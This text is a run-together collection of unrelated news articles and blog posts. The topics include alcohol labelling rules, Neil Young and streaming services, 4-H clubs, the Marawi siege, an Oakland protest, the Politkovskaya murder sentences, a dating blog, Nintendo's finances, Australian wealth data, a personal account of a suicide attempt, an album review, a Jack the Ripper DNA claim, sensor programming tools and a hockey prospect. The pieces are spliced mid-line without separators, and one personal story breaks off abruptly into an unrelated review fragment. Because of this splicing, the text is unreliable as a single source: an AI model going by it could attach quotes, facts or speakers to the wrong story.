"This is actually bringing alcoholic beverages into the modern era," says Guy Smith, an executive vice president at Diageo, the world's largest distiller and maker of such well-known brands as Johnnie Walker, Smirnoff, Jose Cuervo and Tanqueray. Diageo asked the bureau in 2003 to let the company add that information to its products as low-carbohydrate diets were gaining in popularity.
Almost 10 years later, Smith said he expects Diageo gradually to put the new labels on all of its products, which include a small number of beer and wine companies. "It's something consumers have come to expect," Smith said. "In time, it's going to be, 'Why isn't it there?'"
Not all alcohol companies are expected to use labels. Among those that may take a pass are beer companies, which don't want consumers counting calories, and winemakers, which don't want to ruin the sleek look of their bottles.
The Wine Institute, which represents more than a thousand California wineries, said in a statement that it supports the ruling but "experience suggests that such information is not a key factor in consumer purchase decisions about wine." Spokeswoman Gladys Horiuchi said the group knows of no wine companies that plan to use the new labels.
The beer industry praised the federal agency for acknowledging that labels should take into account variations in the concentration of alcohol content in different products. The industry has opposed the idea of defining serving size by fluid ounces of pure alcohol — or as 12 ounces of beer, 5 ounces of wine or 1.5 ounces of 80-proof liquor — on the grounds that you may get more than 1.5 ounces of liquor in a cocktail, depending on what else is in the drink and the accuracy of the bartender.
The new ruling would let the labels declare alcohol content as a percentage of alcohol by volume, the approach favored by the beer industry. "We applaud the TTB's conclusion that rules be based on how drinks are actually served and consumed," said Joe McClain, president of the Beer Institute.
McClain said the beer industry is pleased that the ruling provides "substantial flexibility" in terms of the format and placement of the disclosure on packaging. It is unclear whether beer companies will actually use the labels, however.
Consumer advocates criticized the regulation. "It doesn't reflect any concern about public health," said Michael Jacobson, director of the Center for Science in the Public Interest. He said the rules are too close to what the alcohol companies had sought.
Consumer advocates have said that listing alcohol content should be mandatory so consumers know how much they are drinking. Jacobson and others also support having calorie counts on labels, but they said the labels should not include nutrients that make the alcohol seem more like a food.
"Including fat and carbohydrates on a label could imply that an alcoholic beverage is positively healthful, especially when the drink's alcohol content isn't prominently labeled," Jacobson said.
Current labeling law is complicated. Wines containing 14 percent or more alcohol by volume must list alcohol content. Wines that are 7 percent to 14 percent alcohol by volume may list alcohol content or put "light" or "table" wine on the label.
"Light" beers must list calorie and carbohydrate content only. Liquor must list alcohol content by volume and may also list proof, a measure of alcoholic strength.
Wine, beer and liquor manufacturers don't have to list ingredients. But they must list substances people might be sensitive to, such as sulfites, certain food colorings and aspartame.
Tom Hogue of the Alcohol and Tobacco Trade and Tax Bureau said the aim of the ruling is to make sure alcohol labeling is more consistent. "The idea here is we are trying to make it easy for the industry to communicate this with consumers if they want to do so, and if their consumers want them to do it," he said.
.......
Story by Mary Clare Jalonick, The Associated Press.The war is over.
In the great war that is Neil Young versus music streaming, a ceasefire appears to have been declared. CNET reports that Young’s entire catalog has mysteriously returned to both Spotify and Apple Music with no warning. Last year, Young yanked his work from both streaming services, like a true audiophile, because neither service met his sound-quality standards. However, he did note in that same announcement that “when the quality is back, I’ll give it another look. Never say never.” True to his word, he did give Tidal — which offers a pricier tier for higher-quality audio — exclusive streaming rights for over a year. (It should be noted that he has his own fancy digital-music player Pono.) He even claimed earlier this year that his live album EARTH wouldn’t fit on iTunes and “breaks all their rules.” But it now appears that either Spotify and Apple Music have miraculously gotten more high-res or Young has simply lowered his expectations because he’s back on both and somehow managed to squeeze EARTH on iTunes, too. He’s even dropped a new song, “Peace Trail,” to seemingly celebrate. Keep on rockin’ as you were.BEFORE growing up to become farmers, a startling number of America’s rural kids are taught how to build rockets. Every year rural skies fill with mini-missiles built by children. The largest fly hundreds of feet, carrying altimeters, parachutes and payloads of eggs. Baseball diamonds are popular launch sites, as are alfalfa fields: the latter tend to be large and, compared with other crops, alfalfa tolerates a fair bit of trampling. All this tinkering and swooshing explains a lot about American farms.
One youth organisation lies behind many thousands of rural rocket launches: the 4-H club (it’s an acronym, derived from a pledge involving head, heart, hands and health). Among city slickers, 4-H is not well known. Yet its existence and its history reveal a great deal about America’s distinctive views of farming and food. For many, the name conjures up a single image: a farmer’s child at a country fair, clad in best blue jeans and cowboy boots, gravely leading livestock round a show-ring. Lots of club members do rear and show animals, it is true: one of the sights of an American summer is watching an 11-year-old at a state fair, guiding a half-tonne steer past 4-H judges.
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But 4-H was born to spread hard science as well as to shape character. Some 2m children attend the group’s clubs and camps, while millions more follow 4-H programmes in schools. A big push is under way to reach more urban children, with schemes such as classroom egg incubators so that eight-year-olds learn that “chicken doesn’t come from McDonald’s”. In farm states such as Nebraska, the organisation reaches one child in three. 4-H clubs and camps form the youth wing of a partnership between government and public universities financed by gifts of federal land, dating back to the civil war and set up to transmit new technologies into every county in the union.
Visiting the Nebraska State Fair recently, Lexington toured a pavilion of 4-H projects. Some entries might be found at fairs in many countries: jars of jam, prize-winning vegetables and woodwork (your columnist frankly coveted a Perspex-fronted squirrel-feeding maze). But there was a striking emphasis on science and business, too. Alongside long shelves of model rockets, entries included a display on pig-eye dissection and a statistical analysis of poultry diseases. Eleven-year-old Cale Urmacher, a fourth-generation 4-H member, gave a robotics demonstration. Becca Laub, 16, outlined her plans for a tomato- and fish-farming enterprise and her ambitions to study engineering. People think farmers are uneducated, she scoffed. Her father has an economics degree and uses it to track market trends. Also, thanks to global-positioning gadgetry, one of the family tractors can drive itself, which is “pretty cool”.
Rivals in other lands have sniffy theories about why America, a rich country, is so good at producing cheap food. They paint American farmers as pawns of giant agri-corporations, bullied by market forces to produce genetically modified Frankenfoods. Lexington has not forgotten the face pulled by a French agriculture minister, interviewed during a previous posting to Europe, as he mocked America’s “aseptic” farm produce.
Foreign rivals are right about the power of market forces in America, but wrong to see its farmers as passive victims. Americans have thought differently about agriculture for a long time—and not by accident. Settled in a rush of migration, peaking in the 1880s, Nebraska’s prairies were parcelled out to German, Czech, Danish, Swedish and even Luxemburgish pioneers. From the start the plan was to convert Old World homesteaders to the scientific ways of the New World. As the system developed, Congress sent county agents from universities to teach menfolk modern farming and their wives such skills as tomato-canning. In the 1920s educational trains trundled through the prairies, pulling boxcars of animals and demonstration crops. At each stop, hundreds would gather for public lectures. Older folk resisted such newfangled ideas as planting hybrid corn bought from merchants rather than seedcorn from their own harvests. Enter the 4-H movement, which gave youngsters hybrid seeds to plant, then waited for the shock as children’s corn outgrew their parents’. Later youngsters promoted such innovations as computers.
Because America was a new country, argues Greg Ibach, head of agriculture in Nebraska’s state government, a primary concern was feeding a growing population and moving food large distances. Europeans fussed about appellations and where food came from. Americans “treated food as commodities”.
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Such differences of history and culture have lingering consequences. Almost all the corn and soyabeans grown in America are genetically modified. GM crops are barely tolerated in the European Union. Both America and Europe offer farmers indefensible subsidies, but with different motives. EU taxpayers often pay to keep market forces at bay, preserving practices which may be quaint, green or kindly to animals but which do not turn a profit. American subsidies give farmers an edge in commodity markets, via cheap loans and federally backed crop insurance.
Nebraska, a big beef and corn producer, feels bullish in more ways than one. There is much talk of China’s meat-craving middle class and a fast-growing global population. Last year farming graduates at the University of Nebraska in Lincoln could pick from multiple job offers. America is “completely set up” to supply soaring world demand—as long as it can keep using GM crops and other technology, says Will Miller, a UNL student who reared enough heifers as a 4-H member to pay his way through college. Not all young farmers are as biotech-keen. 4-H offers organic projects, too (deftly treading a path through the culture wars that dog so many fields in America, including science). But many are just as enterprising. America set out to plant science and capitalism in its farm kids. They have taken deep root.Gunmen took hostages at a cathedral in Marawi fights broke out between ISIS-linked extremists and government forces. The city was engulfed in a bloody battle after least 15 fighters from Maute, an ISIS backed-group, stormed the city, forcing the president to delcare a state of emergency. Two soldiers and a policeman were killed and 12 people wounded in Marawi, where Maute fighters took over buildings and set fire to a school, a church and a jail.
REUTERS Fighting has broken out between ISIS and government forces in Marawi
I was in school when we heard gunfire... When we came out there were blood stains in the building Student Rabani Mautum
More than a dozen worshippers and a priest were also among the hostages held at the church. The military and government gave few details about the clashes nor did they say if any rebels had been killed. Authorities insisted the situation was under control but residents who fled told a different story and said Marawi was in the hands of the rebels, who had allowed civilians to leave. Student Rabani Mautum, in nearby Pantar town, where some residents were leaving in overloaded trucks, said: "The city is still under the control of the armed group. They are all over the main roads and two bridges leading to Marawi. "I was in school when we heard gunfire... When we came out there were blood stains in the building but we did not see dead or wounded."
ISIS fighters Fri, March 25, 2016 Iraq and Syrian jihadists, including the Paris and Brussels attacks suspects. Play slideshow PH 1 of 47 Belgian national Salah Abdeslam who masterminded the Paris attacks
GETTY Government forces are battling against ISIS rebels
Fighting abated in the mainly Muslim city of Marawi as troops sought to contain dozens of rebels of the Maute group, who escaped a botched raid on Tuesday on an apartment and took over streets, bridges and buildings and sought to block army reinforcements. Philippine President Rodrigo Duterte warned on Wednesday he would deal harshly with militants as he declared a state of emergency. Duterte, who dropped a trip to Russia to deal with the crisis, said the region and its 22 million inhabitants could remain under military rule for up to a year. He said: To my countrymen who have experienced martial law. It would not be any different from what President Marcos did. I'd be harsh.
REUTERS Philippine President Rodrigo Duterte warned the take over could last a yearAt the culmination of a week of actions highlighting that Oakland, Calif., is losing thousands of families per month to displacement and businesses like Uber are moving into the city with almost no accountability, a broad coalition of community groups marched into Oakland City Hall on June 17 and took it over for more than an hour to press their demands on Mayor Libby Schaff and the City Council.
The Anti Police-Terror Project, Black Power Network, ACCE Action, East Bay Organizing Committee (EBOC/Fight for 15), The East 12th Coalition and others called a series of actions June 12-17 to “Reclaim Our City.” The groups demanded immediate protections for renters, the redirection of city money to protect low-wage workers and public education.
The action on June 17 started at the East 12th Street parcel, city land that the government has turned over to private developers, despite a significant campaign to use it for low-income housing. The group then caravanned to City Hall and marched inside, demanding that the mayor and the City Council come out to talk to the people about their demands.
The week was organized to “target the repressive policies and practices of the Schaaf administration and fight back against private interests and large developers who are displacing our families and driving up rents.” The actions focused on “pressuring the City Council to extend the housing moratorium; building pressure to place the Oakland Renter Protection Act measure on the November ballot; [a] public education campaign around the connection between police terror, displacement and the impact on our schools/young people; [and] demands for community benefits including good jobs, affordable housing, and community stability to ensure that new development serves existing residents and workers.”
(Photo: Peter Menchini)
(Photo: Peter Menchini)Image copyright AP Image caption Anna Politkovskaya was best known for her reports in the Novaya Gazeta newspaper
Two men have been given life sentences by a Moscow court for the 2006 murder of journalist Anna Politkovskaya.
They were among five men convicted of the crime last month.
Ms Politkovskaya, an investigative reporter and vocal critic of Russia's war in Chechnya, was shot in a lift in her block of flats.
Three of the men had earlier been acquitted but Russia's supreme court ordered a retrial. Investigators have not determined who ordered the killing.
Rustam Makhmudov was given a life sentence for pulling the trigger.
His uncle Lom-Ali Gaitukayev, one of those found guilty of organising the murder, was also jailed for life.
The three others convicted of the killing - two of whom are Makhmudov's brothers - were given between 12 and 20 years in prison.
The prosecution had pushed for tougher sentences.
Ms Politkovskaya's reporting for Novaya Gazeta newspaper won international renown for her dogged investigation of Russian abuses in Chechnya.
But her pieces, which were highly critical of President Vladimir Putin, then serving his second term, and the Chechen leadership, angered many in authority.
Last year a former police officer, Dmitry Pavlyuchenkov, was sentenced to 11 years in prison for supplying the murder weapon.
Ms Politkovskaya's family say they will continue to campaign until the person who ordered the killing is uncovered.
Vladimir Markin, a spokesman for the Russian Investigative Committee, said that "unfortunately much depends on our foreign colleagues, especially from Great Britain and Turkey. We have sent a number of inquiries, but have never received any response."One thing that isn’t often spoken about is how hard it is for men to approach women with romantic intent. It’s actually one of the hardest things we ever have to do and that’s the reason why the vast majority of us only ever do it while drunk and specially defined scenarios like a bar or a club. Well I don’t want to be that way anymore and have decided to get over this fear once and for all so to that end I’ll be approaching 2 women every day for 50 days and writing about what happens.
And just so we’re clear; this isn’t about ‘getting laid’; it’s about breaking through my personal limitations and learning to become a much stronger man. When a guy approaches a girl he doesn’t know, every one of his insecurities are shoved right into his face in technicolour HD and it’s in that moment that he really finds out what he’s made of.
It’s time to find out what I’m made of. Let’s do this.
See the whole challenge here.
Day 26 – woman number 1 – Laura
Hey guys. There’s only going to be one woman in today’s update, and that’s for a couple of reasons. Firstly, I’m incredibly busy and don’t have a lot of spare time; and secondly, a random wave of fear has gripped my heart. Fear that had me walk by at least 6 women I wanted to talk to but approach none.
I’m not sure what happened to be honest. I just didn’t feel confident today. If I had more free time I’d have walked the streets until I damn well summoned the courage but alas I don’t so I didn’t. Anyway, today’s lady, a French woman named Laura, was someone I met as I was heading into Starbucks to write a post apologising for being such a coward. She was stood outside listening to music and I did a double take as I saw her on my way in. Seconds later, I was headed her way to let her know I thought she looked amazing:
HER: Thank you, thank you very much!
ME: Not a problem!
HER: What’s your name?
ME: Ciaran, you?
HER: Laura.
ME: So what are you doing right now?
HER: I’m studying.
ME: Fancy a flirt?
HER: We can talk, but you should know that I’m taken.
ME: You’re taken?
HER: Yes.
ME: So you’re spoken for?
HER: What is spoken for?
ME: It means that you’re taken!
HER: Ah, then yes, I am spoken for!
Laura’s been in the UK for 2 years, is studying business finance, DJs on the weekend, and is a huge fan of conspiracy theories. We chatted for about 15 minutes, shot the video you can see below, and then carried on about our days.
Woman number 2 – Eva
Ignore everything I wrote at the start of today’s post because I’ve literally just met another woman. She’s a Californian girl of Vietnamese origins who sat opposite me at my table and I ended up introducing myself to. She was extremely flattered by my compliment and needless to say, the two of us got to talking. Now as I write these words, we’re still chatting/working and I currently have no idea how it’ll pan out. But like I said before; I’m on a strict deadline today so I can’t delay writing this post any longer. It needs to go up now, God dammit!
Thoughts
So there’s two things I’m taking from today. Number one is that there’s a damn good chance that the fear of doing random cold approaches will never go away. I’ve been at this for a while now so you’d think I’d be over the nerves, but apparently not. In fact, I was hit with a surge of deathly trepidation from outta nowhere. I guess this might get easier and easier to do but maybe it’ll never be truly ‘easy’. In any event, I have read that fear never truly dissipates but only mutates and changes form so I guess this is proving that to be true.
Number 2 is that it’s never over till the fat lady sings. I totally resigned myself to writing about having done no approaches today but now I’ve ended up fulfilling my quota. I thought about giving up, I thought about bitching out, I thought about yielding and to my fear but I didn’t and now I have day number 26 officially in the books.
26 days down, 24 to goNintendo has published their numbers for the most recent financial year, and sadly, they're not doing all that well.
The company ended up with an operating loss of 46.4 billion yen, or $457 million, for the fiscal year ending in March, managing to move 590,000 3DS units and 310,000 Wii U units in the last quarter (ie. the first three months of 2014). Total lifetime sales for the 3DS and the Wii U are now at 43.33 million units and 6.17 million units, respectively. The Wii U's performance is mentioned by the report as a contributing factor to Nintendo's loss of profits:
The global sales of the “Wii U” hardware and software [for the fiscal year] reached only 2.72 million and 18.86 million units respectively... The "Wii U" hardware still has a negative impact on Nintendo's profits owing mainly to its markdown in the United States and Europe, and unit sales of software, which has high profit margins, did not grow sufficiently.
On the other hand, the 3DS is doing relatively well, with 12.24 million units of hardware and 67.89 million units of software sold during the fiscal year—though neither console managed to hit January's expected sales numbers for hardware, and in the software department, only the 3DS performed according to expectations.
To stimulate Wii U sales, the report mentions plans both to increase the number of Nintendo DS games available via the Wii U Virtual Console, and to introduce new software taking advantage of the Wii U Gamepad, which Nintendo considers the system's "most important differentiator." As for the 3DS, Nintendo plans to release more key titles for the handheld in the coming fiscal year, hopefully generating "robust profits."
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Consolidated Financial Statements, May 7, 2014 [Nintendo]
Notice of Full-Year Financial Forecast Differences with its Results [Nintendo]Official data shows the rich are getting richer
Updated
The rich are getting richer, with the average net worth of the top 20 per cent of households jumping to $2.2 million in 2010, official figures show.
The latest Australian Bureau of Statistics (ABS) data shows the wealth of these households rose 15 per cent on a CPI-adjusted basis.
They made up 62 per cent of total household wealth, up from 59 per cent in 2004.
The net worth of the poorest 20 per cent of households rose just 4 per cent, to $32,000 per household.
They make up just 1 per cent of total household wealth, unchanged since 2004.
Average net worth in Queensland, South Australia and Tasmania were below the national average.
Homes were still the main asset, with 69 per cent of households either owning their home outright or with a mortgage.
One in five households owned a property other than their own home, such as a holiday home or rental property, while superannuation was the main financial asset, held by three-quarters of all households.
The average net worth of Australian households was $720,000 in 2009-10, an increase of 14 per cent.
Couples aged 55-64 without children living at home were the wealthiest group in Australia, with an average net worth of $1.3 million.
Those on pensions and allowances had the lowest net worth, and single parents were three times worse off than couples with children.
Topics: business-economics-and-finance, economic-trends, australia
First postedWhat I’m about to tell you is the most personal, sacred story that I’ve ever told. I never imagined telling it publicly in front of thousands of people, but something in my spirit says that someone, somewhere, needs to hear this today.
Over the last few days we’ve been talking a lot about God, creation, evolution, and all sorts of interesting questions. Yesterday, one reader commented that they thought I was really an agnostic at heart, and that if I’d keep thinking critically, I’d probably abandon my faith and embrace life as an agnostic.
Today I’m going to tell you why, in a million years, that will never, ever, happen.
I believe in God for many reasons, but the most powerful of them all, is belief that stems from a personal experience– something quantifiable only to me, but is sufficient for me to promise you that you’ll never see a blog, article, or press report that Benjamin L. Corey has become anything other than a God believer.
Here’s why:
The God I grew up with wasn’t exactly a God you “experienced”. Instead of a warm and loving image of God, the version I had grown to know by the time I was in my teens, was a deity who looked more like a hybrid of an angry Tea Party member crossed with Jerry Falwell than it did the nonviolent lover of enemies I now know as Jesus of Nazareth. The God I knew was mostly defined by what he hated: earrings on guys, Mexicans, playing cards, drums and guitars in worship, people on welfare, United Methodists, all forms of dancing (except the form called “jumping for joy”), science teachers, lesbians, people with “coexist” bumper stickers, and Bill Clinton. Basically, my concept of god (small g) was an all powerful being who was pissed off and hated nearly everybody. Furthermore, I was also convinced that because of his tremendous love for us, he would never miss an opportunity to punish us, because “the Lord chastises those he loves”.
This angry, impossible to please image of God didn’t serve me well when life fell apart for me.
At 27 years old, I found myself in a dark corner of the universe. Health issues had resulted in a medical retirement from the military which had been my core identity for a decade. Financially, I went from making good money, to making less than enough to live, in just a matter of months. The stress of the transition and the depression that followed, quickly grew to become a fatal blow to my marriage. Before I knew it, I was broke, alone, divorcing, and about as clinically depressed as a person could get.
I wanted to die.
My sick and twisted concept of God, made the situation infinitely worse. I became utterly convinced that God was taking everything in my life away because of some sin I had committed… which one, I wasn’t sure (not that there weren’t plenty of options to chose from), but when you have an effed up concept of God, you have a tendency to view painful aspects of life as being directly from the hand of God.
And, if God is against you, what hope do you have?
I had none.
And so, the situation dwindled to the point that I had only one solution… I would take my life.
At first, I was shocked that I was seriously considering it. When I was 17, I suffered through a suicide in my immediate family, and the fact that I was making plans to end my life– thus putting everyone through this situation all over again– actually made me hate myself even more than I already did.
The more I considered it, the more the situation spiraled out of control… to the point that I had made up my mind to follow through.
While I don’t know what it feels like to spend your last day on death row, I do know what it is like to face the day I was scheduled to die. I loaded a bullet into the chamber of my Smith & Wesson handgun and began working up the courage to pull the trigger. I sat on the couch and wept, wishing there were a better answer. In an attempt to talk myself out of it, I turned on the television in hopes of finding some sort of religious program, which could potentially offer me hope. I landed on a program that was a panel discussion about God, and listened for a few minutes. One of the men on the panel was an agnostic, and said something that resonated with me. He said, “if there is a God, clearly he is not concerned with the affairs of man.”
Something deep inside me felt as if this were true, but I desperately wished that it were not. Certainly, if there was a God, he was completely unconcerned that my life was falling apart and that I was about to end my life.
Working |
nature, with its heavier beginning metamorphosing as it progresses to culminate in the seven minute-long masterpiece “Lune”, which embodies every single aspect of Periphery that we love. Adopting one of the slowest paces that band has used creates a song that instantly makes the listener lucid and draws them into the music. This track hits every single mark you would expect, with the slow acoustic introduction, the timbre of Sotelo’s vocals, the subtle yet rhythmically motivational drum and bass lines, and the beautifully constructed atmospheric ambience, all making this track something that is a truly special and fitting way to close out the album.
It was only 18 months ago that Periphery released one of the strongest double albums in recent memory with ‘Juggernaut: Alpha’ and ‘Juggernaut: Omega’. These albums embodied a versatility and accessibility that many djent bands try to embrace but never really seem to grasp. ‘Select Difficulty’ in many ways feels like an expansion on that work. While it may not reach the heights touched by the ‘Juggernaut’ albums last year, there is more than enough groundwork laid here to make this another standout album. Periphery is a band of many talents, and in the space of 18 months, the band has delivered not one, not two, but three albums which could quite easily be considered masterpieces. This is not only a true feat in a market where bands typically release one album every two years, but a testament to the band’s free-flowing creativity.THE search to uncover the identity of Jack the Ripper appears to be over.
DNA on a shawl found near one of the victims, Catherine Eddowes, reportedly contains a match to both her and one of the chief suspects, Aaron Kosminsky.
The Polish hairdresser, who moved to England with his family in 1881, was committed to a mental asylum at the peak of Ripper hysteria.
media_camera Revealed?... DNA evidence reportedly confirms that Aaron Kosminski is Jack the Ripper. Picture: Supplied
The breakthrough came when Dr Jari Louhelainen, an expert in historic DNA, was commissioned to study a shawl found with Eddowes, the second-last “confirmed” victim of the Ripper more than 125 years ago.
The shawl — which still retained historic stains — had been bought by a businessman at an auction in 2007.
“It has taken a great deal of hard work, using cutting-edge scientific techniques which would not have been possible five years ago,” Dr Louhelainen told a British newspaper.
“Once I had the profile, I could compare it to that of the female descendant of Kosminski’s sister, who had given us a sample of her DNA swabbed from inside her mouth.
“The first strand of DNA showed a 99.2 per cent match, as the analysis instrument could not determine the sequence of the missing 0.8 per cent fragment of DNA. On testing the second strand, we achieved a perfect 100 per cent match.”
media_camera Killing sports... this map of Whitechapel in the 1800s shows Flower and Dean Streets in purple and the sites of some killings as red spots. Picture: Supplied
Kosminski was born in Poland in 1865 before moving to Whitechapel, England, in 1881.
The murders attributed to Jack the Ripper began in 1888, with up to 11 deaths around the Whitechapel area linked to the killer.
Frances Coles, believed to be the Ripper’s last victim, died in February 1891 — the same year Kosminski was forcibly put in Colney Hatch Lunatic Asylum.
He remained in mental health facilities until his death in 1919, aged 53.
Originally published as Is this Jack the Ripper?Tools to Help You Write Apps That Use Sensors John Mueller
Sensors increase computers’ capabilities to interact with the environment. Sensors provide unique data input, such as the computer’s location on earth or the amount of ambient light in which the computer is operating. These inputs can give your mobile apps even more useful functionality. However, writing sensor code from scratch is both time consuming and difficult, so it’s essential to know which tools can help your software perform the task. Here are a few resources to help you get started.
Computing systems require input, and the traditional devices have been keyboards, mice, and joysticks. For specialty purposes, your software might also get data from touch, vocal, and musical instrument sources. In every case, the input is provided in numeric form; even pressing a key on a keyboard generates numbers.
Sensors provide another type of data input (also in numeric form). The difference is that the data source is an interaction with the real world in some way: location, temperature, movement, etc. Even a Global Positioning System (GPS) sensor relies on input from a geostationary satellite. With people relying on mobile devices to perform all sorts of tasks – from getting to a friend’s house to determining whether an exercise routine is working properly – more and more developers are engaged in working with specialty sensors.
If you’re new to incorporating sensors in your application development, you aren’t the only one. Today, 38% of North American developers write software that uses sensors, according to Evans Data's North American Development Survey, and those developers feel the primary problem in doing so is a lack of tools to help them with the task. In this article, I give you a few ideas of where to start.
Understanding the Sensor Types
Sensors can monitor internal conditions, external conditions, or a combination thereof. Most sensors are built right into the system, so you might have access to a wealth of sensors and not even know it. The most common sensors attached to computers (and mobile devices) today include:
Fan speed (internal)
Temperature (internal/external)
Voltage (internal/external)
GPS (external)
Ambient light (external)
Compass (external)
Accelerometer (external)
Gyroscope (external)
However, the number of sensors you can attach to a system is basically unlimited. For example, many medical monitors (heart, EKG, and others) attach to PCs. Security systems rely on sensors (such as breaking glass detectors) attached to PCs to protect your home and valuables. Astronomers use sensors to take pictures of the heavens; biologists rely on other sensors to photograph the microcosm in a glass of water. Industrial processes use exotic sensors to monitor the structure of materials, and your car’s computer uses sensors to monitor the condition of your brakes. In short, you’re surrounded by sensors that monitor your environment and protect you from harm.
These also spell new opportunities for developers. For example, the new Tao Wellshell is a motion tracker and fitness gadget that uses isometrics to build a workout; it measures compressive power and produces precise exercises using the body’s own muscle power against it.
Many sensors don’t directly connect to the computer, but rather communicate with it through a network connection or via the Internet. For example, Rest Devices produces Mimo, which monitors babies via clothing with embedded sensors that communicate with a parent’s smartphone to alert parents to conditions leading to Sudden Infant Death Syndrome (SIDS). An app for your bicycle uses Bluetooth together with sensors to provide athletes with real-time training data. The point is that sensors often communicate with a computer through a network connection, which means a developer must create an app to monitor the sensor input.
Operating System Support
A few operating systems provide some level of support for common sensors. For example, Windows 7 and Windows 8 provide support through the Windows Sensor and Location Platform, an API that greatly simplifies the task of interacting with various kinds of common sensors. Likewise, you can find sensor API support for the Windows Phone. Android developers will also be happy to note an established API that works much like the API for Windows. Linux developers are currently working on a sensor API for their platform.
The problem is finding a place to put the required API in the operating system. There is definitely a difference between human and sensor input, so ensuring the required API interacts with underlying operating system correctly is a major consideration.
Mac developers have the hardest time obtaining access to sensors. In order to access a sensor for iOS, developers must often resort to writing low-level code in Objective C. This is the kind of worst-case scenario that developers want to avoid.
However, it’s not absolutely essential that a platform provide direct sensor support. Where operating systems fall short, software development tool vendors see opportunity. Thus, you always have third-party options you can rely on.
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Third-Party Platform APIs
Operating systems generally support the common sensor types, such as ambient light detectors. If you want to work with something a little more exotic, you must generally turn to a third party supplier. The problem is that some sensors require truly custom programming today (we’re talking reacting to individual bits within an embedded system), so you need to ensure that the sensor you want to use has an associated API to support it.
Fortunately, companies such as Arduino produce prototyping boards and associated software to work with a broad range of sensor types. These setups can directly react to the input to perform tasks such as controlling lights based on the kind of input received. In addition, the board provides the means to communicate directly with computer systems over a network connection. Arduino software works with Windows, Mac, and Linux systems.
Another interesting API, Processing, is actually a programming language with a host of interesting libraries. Even though the language was originally intended for those engaged in the visual arts, many of its libraries make this language useful for someone who needs to interact with sensors in non-traditional ways. For example, one library lets you analyze the input from a camera to do things like detect threats. Another library helps your application determine the direction of sounds using two sound sensors and stereoscopic detection. One library makes it easier to work with Arduino board output; another directly interfaces with the Apple light sensor. There is even a library for working with the NeuroSky Mindset brainwave sensing headset, just in case you want to think your way through life. This API also works with Windows, Mac, and Linux systems.
Some APIs are special purpose. For example, if you want to work with 3D sensors, then you need to look into OpenNI. Let’s say you want to detect where someone is grabbing within a 3D space. The OpenNI SDK provides the means to perform that sort of detection. The idea is that you can create environments where users interact with systems in non-traditional ways, or you could use the setup to monitor the movement of goods in a warehouse. The possibilities for detecting and reacting to conditions within a 3D space based on various sensor inputs are endless.
The one thing that many developers complain about when it comes to sensors is a lack of tools for a specific need in a specific environment. For example, not everyone wants to create a solution using Processing. Finding a library, SDK, or other tool to fit a specific need can be daunting. Here are a few other libraries, SDKs, and other tools to check out.
BITalino API: Helps your application to react to body movements or other physiological sensors.
Estimote Platform: Provides sensor-based engagement, interaction, and analytics for interacting with people (such as customers for a business).
ioBridge API: Makes it possible to connect sensors to Web services, receive alerts, and data log the results.
Mote Runner Development Platform: Connects sensor and actuator motes within wireless sensor networks, making it possible for any number of devices to monitor, manage, and interact with a variety of sensor types.
Scout API: Provides the means to access smartphone sensors, which allows you to tailor the application experience for each individual customer based on their behavior and activity.
Xively REST API: Stores, shares, and discovers real-time sensor, energy and environment data from buildings or other devices. Interestingly enough, this is yet another way to interact with Arduino board output.
Bottom Line
When working with sensors, keep in mind a few basic facts to avoid potential problems. First, remember that sensors are designed to provide numeric input to the computer that an application must manipulate in some way in order to obtain platform- or human-usable output. Second, in order to gain input from the sensor, you need some means to access it, which might mean writing low-level code when an existing device driver or platform support is missing.
Finally, consider just how the sensor performs its task—what range and type of input it can provide. Many developers are thwarted in their efforts when they discover they have the wrong sensor for the job. However, even with these caveats, it’s possible to use sensors to perform an amazing array of tasks—some that you might find unimaginable.
See also:
[dfads params='groups=933&limit=1&orderby=random']The Stars might have picked one of the steals of the 2013 draft when they landed Valeri Nichushkin of Russia at No. 10. Want to learn more about the Stars up-and-comer? Here are 10 things you should know…
1. Freefalling.
If you hadn't heard much about Nichushkin before the 2013 draft, it's because almost no one thought he'd last long enough to land in the Stars' lap at No. 10. Of the 10 prominent NHL mock drafts, Nichuskin's average draft position was No. 5 overall, and nobody had him falling lower than 8th. At one point, the International Scouting Services had Nichushkin rated as high as the No. 2 prospect in the draft, and he finished No. 4 in ISS's final rankings, behind only consensus top prospects Nathan MacKinnon, Seth Jones and Jonathan Drouin.
2. Finding his passion.
Though hockey is the sport of choice in Russia, Nichushkin didn't gravitate to it immediately. Nichushkin told Russian newspaper RIA Novosti in May that he also played tennis and handball growing up, adding "When I was a child, I didn't care much about hockey." Nichushkin said he settled on hockey at eight or nine.
3. Broadway and Broad Street.
Valeri Nichushkin puts on his hat and jersey after being selected by the Dallas Stars during the 2013 NHL Draft (Photo by Bruce Bennett/Getty Images)
Nichushkin had a pair of favorite teams growing up - the Flyers and the Rangers. He told RIA Novosti that he favored the Flyers whenever he played hockey video games as a kid, and he was drawn to the Rangers simply because they were in New York. He also hinted that he would like to be drafted by the Tampa Bay Lightning, where he would be reunited with former Traktor Chelyabinsk teammate Nikita Nesterov. But it didn't matter too much once he was in the NHL. Ahead of the draft, the forward told RIA Novosti, "After the draft, my favorite team will be the one that picks me."
4. Breaking the mold.
While names like Pavel Bure, Ilya Kovalchuk and Alex Ovechkin might come to mind when you think of a prototypical Russian winger, Nichushkin is ready to break the mold. Though he's renowned for his puck skills and his ability to score, Nichushkin is also a big, physical winger who can do a bit of everything. ISS head scout Ross MacLean told CFRN-AM in Edmonton, "The real appeal to him was he was a very non-stereotypical Russian. He'd block shots. He'd back check. He wasn't that uber-offensive Russian flash that we got so used to with Kovalchuks and so on."
5. Hometown hero.
At the age of 17, Nichushkin signed on with his hometown hockey team, Traktor Chelyabinsk, of the Kontinental Hockey League in Russia. Though most teenagers never sniff ice time in the KHL - Nichushkin himself admitted that he never expected to play a game last season - the forward worked his way into the rotation toward the end of the year, seeing time in 18 of Traktor's 52 regular season games after a late-season call up. Nichushkin also played a key role in Traktor's run to the KHL Gagarin Cup Finals, scoring six goals in 25 playoff games. As a result, he won KHL Rookie of the Year honors.
6. Taking over the world(s).
(David Woo/The Dallas Morning News)
As if an impressive KHL debut wasn't enough, Nichushkin really caught evaluators' eyes during the IIHF World Under-18 Championships in April. Though Russia wound up with a disappointing fourth-place finish, Nichushkin earned rave reviews for his play, which included four goals and seven points in six games. Tampa Bay Lightning head scout Al Murray told the Tampa Bay Times, "That's maybe the most dominant performance I've ever seen at a tournament. [Nichushkin] absolutely took over. He was a combination of (Alex) Ovechkin and (Evgeni) Malkin." Nichushkin also appeared for Russia at the 2014 Olympics in his home country, scoring one goal in five games.
7. Doing it his way.
